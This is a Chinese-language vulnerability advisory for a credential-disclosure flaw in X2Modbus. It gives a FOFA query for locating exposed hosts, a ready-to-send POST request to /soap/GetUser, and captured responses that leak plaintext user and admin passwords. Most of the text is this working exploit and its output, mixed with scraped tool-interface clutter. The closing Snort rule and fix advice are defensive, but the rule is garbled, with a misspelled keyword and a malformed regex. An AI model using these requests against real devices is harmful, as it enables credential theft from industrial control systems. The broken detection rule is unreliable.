

X2Modbus -GetUser-信息泄露

X2Modbus -GetUser-信息泄露，攻击者可获取敏感信息登录系统后台，为下一步攻击做准备。

影响版本

X2Modbus

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: server="SunFull-Webs"

POC/EXP:

```
POST /soap/GetUser HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

<GetUser><User Name="guest" Password="admin"/></GetUser>
```

发送请求

强制 HTTPS

历史

爆破示例

分享

打印

保存

刷新

退出

Request

<

>

数据包扫描

美化

热加载

构造请求

1

2

3

4

5

6

7

8

9

10

POST /soap/GetUser HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

Content-Type: application/x-www-form-urlencoded

<GetUser><User Name="guest" Password="admin"/></GetUser>

Responses

402bytes / 59ms

美化

编码

搜索

详情

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

HTTP/1.1 200 OK

Cache-Control: no-cache, no-store, must-revalidate

Content-Type: text/xml; charset=utf-8

Content-Length: 409

<?xml version="1.0" encoding="UTF-8" ?>

<soap:Envelope

<xmlns:soap="http://www.w3.org/2003/05/soap-envelope"

<xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

<xmlns:xsd="http://www.w3.org/2001/XMLSchema"

>

<soap:Body>

<GetUserResult>

<UserName>guest</UserName>

<Password>123456</Password>

<Purview>1</Purview>

<Date>2018-8-9</Date>

<Time>10:59:3</Time>

</GetUserResult>

</soap:Body>

</soap:Envelope>

```
POST /soap/GetUser HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (windows NT 10.0; win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

<GetUser><User Name="admin" Password="admin"/></GetUser>
```

发送请求

强制 HTTPS

历史

爆破示例

分享

打印

保存

刷新

退出

Request

<

>

数据包扫描

美化

热加载

构造请求

1

2

3

4

5

6

7

8

9

10

POST /soap/GetUser HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

Content-Type: application/x-www-form-urlencoded

<GetUser><User Name="admin" Password="admin"/></GetUser>

Responses

408bytes / 70ms

美化

编码

搜索

详情

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

HTTP/1.1 200 OK

Cache-Control: no-cache, no-store, must-revalidate

Content-Type: text/xml; charset=utf-8

Content-Length: 415

<?xml version="1.0" encoding="UTF-8" ?>

<soap:Envelope

<xmlns:soap="http://www.w3.org/2003/05/soap-envelope"

<xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

<xmlns:xsd="http://www.w3.org/2001/XMLSchema"

>

<soap:Body>

<GetUserResult>

<UserName>admin</UserName>

<Password>admin1234561</Password>

<Purview>4</Purview>

<Date>2014-1-5</Date>

<Time>21:2:13</Time>

</GetUserResult>

</soap:Body>

</soap:Envelope>

snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"X2Modbus - Sensitive Information Exposure via GetUser";
  flow:to_server,established;
  content:"POST"; http_method;
  content:"/soap/GetUser"; http_uri;
  content:"Content-Type: application/x-www-form-urlencoded";
  http_client_header;
```

```
pcrc: "/<GetUser>\s*<User\s+Name\s*=\s*["'](\s*["']+\s*["']\s+Password\s*=\s*["'](\s*["']+\s*["']\s*\s*>/>\s*</GetUser>/i";
metadata:service http;
metadata:affected_product "X2Modbus System";
metadata:attack_type "Sensitive Data Exposure";
metadata:severity "medium";
reference:url,www.example.com/vulndb/x2modbus-leak;
classtype:policy-violation;
sid:1000075;
rev:1;
priority:2;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。